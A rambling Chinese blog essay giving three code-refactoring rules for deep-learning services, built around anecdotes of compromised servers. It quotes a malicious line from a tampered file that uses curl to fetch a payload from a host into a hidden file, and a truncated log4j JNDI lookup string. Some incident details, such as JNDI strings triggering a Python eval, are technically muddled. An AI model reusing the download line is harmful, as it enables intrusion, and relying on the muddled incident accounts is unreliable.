深度学习代码重构三原则：高并发老兵的血泪经验

　　去年5月，我蹲在IDC机房门口啃半凉的肉夹馍，王工穿着拖鞋蹲我旁边抽烟，烟灰掉进他裤衩缝里——他伸手去掸，结果把裤腰带扽断了。这事儿跟深度学习重构屁关系没有，但那天之后我再看见PyTorch里那行model.eval()就想起他裤衩松垮垮挂在胯骨上的样子。

　　安全是成本不是收入。这个我敢打包票。但没人信，连我们组新来那个做RLHF的博士后都当耳旁风。他非要在训练脚本里硬塞个HTTP轮询去调WAF的API做动态策略下发，我说你先看看日志里那串IP——192.168.7.103，上个月渗透测试留下的后门马还在跑，只是换了个user-agent伪装成tensorboard的健康检查请求。

　　三原则？别整虚的。第一条：所有GPU卡初始化必须放在主进程fork之前，否则CUDA context在子进程里会疯。我原以为加个torch.cuda.synchronize()就能压住，结果上周三凌晨三点，监控告警打爆手机，模型输出全是NaN，溯源到一半发现是NCCL通信里混进了被篡改的梯度压缩参数，文件mtime是五月十七号二十三点四十一分，而那天我根本没碰那台服务器——后来在/var/tmp底下翻出个叫“pytorch_dataloader_utils.py”的文件，md5跟官网包对不上，里面多了一行os.system('curl -s http://10.9.2.53:8080/x > /dev/shm/.cache')。

　　第二条更糙：禁用一切自动pip install。别笑，真有人在推理服务dockerfile里写RUN pip install -r requirements.txt ——且不管requirements.txt是从哪抄来的，也不管镜像构建时会不会拉下带恶意wheel的第三方源。前天夜里群里突然@全员，就一条消息：“inference-api-37崩了”，我连SSH都还没敲完密码，就听见运维小李在语音里喊：“那个新来的实习生刚在prod环境pip install torchtext==0.15.1+cu118……”后面话我没听清，因为服务器风扇啸叫起来，跟十年前我第一台GPU机器烧MOS管时一模一样。

　　第三条？第三条其实是废话：只要模型代码里出现eval()、exec()、compile()三个词中的任意一个，立刻砍掉重写。我知道你们现在正想“我用的SafeEval啊”、“我加了AST白名单啊”、“我用sandbox隔离啊”——扯淡。去年六月，某金融客户线上模型推理服务被打了shell，溯源到⭐️⭐️⭐️⭐️是他们自己写的那个“支持用户自定义loss函数”的配置项，解析JSON时用了json.loads(..., object_hook=...), hook函数里递归调用了内置eval，而传入的key名恰好匹配了某个log4j的JNDI字符串模板……这事我没细查，我说不准，但我知道那天凌晨四点我收到的邮件标题是“[URGENT] /var/log/nginx/access.log里出现了%24%7Bjndi:ldap://……”

　　顺便说，那个服务器上多出来的陌生文件现在还在我备份盘里，叫“_init_hooks.py.bak~”，时间戳是五月十九号零点零七分，权限600，owner是nobody，内容开头是def __import_hook__(name, args, kwargs):，后面全删了，只剩四个#号和一个tab。我试过hexdump，看不出端倪，也没继续挖——当时正盯着Prometheus里CUDA Memory Usage那根跳着走的红线，它每二十秒就冲到98%，又跌回60%，像人在抽搐。

文章配图，仅供参考

　　还有个细节：我们组每周三下午三点开重构评审会，雷打不动。上个月有个同事讲到“用Hydra动态加载训练配置”那段，我打断他说，你这yaml里的defaults: [model: resnet50]能不能换成字面量？他楞了一下，说“那不灵活”。我说那你得告诉审计团队，hydra的插件机制默认会从当前目录下搜plugins/目录——而生产环境那台推理节点上，/home/inference/plugins/下面躺着个叫__init__.py的空文件，mtime是去年十二月十八号，但文件大小是三百七十二字节。我问他，你知道这三百七十二字节里有没有call()吗？他说不知道，我说我也懒得查了。

　　昨天我在GitLab MR里批注“建议删除onnx.export里的dynamic_axes参数”，评论发出去五分钟后，对方回复“已改，感谢指导”，再过两分钟，系统自动关了PR。我没点进去看diff，但记得他提交信息写的是“fix typo in docs”。我原以为他真改了export逻辑，结果今天上午看CI日志，发现还是用了dynamic_axes，只是把字段名从“batch_size”改成“bs”，然后在注释里写了“refactor: more readable”。算了，这事我不管了。

　　对了，刚才我切窗口倒水，看见终端后台还在跑一个jupyter notebook的ssh隧道端口转发，pid是18241，启动命令里带着--no-browser --port=8889，而我们在K8s里明明禁止了所有hostPort。这个我懒得查是谁干的，反正不是我。但你要问我现在想干什么——我想删掉那个training_config.yaml里的${oc.env:USER}变量引用，就现在，十分钟内删掉。别的等明早再说。

（编辑：站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!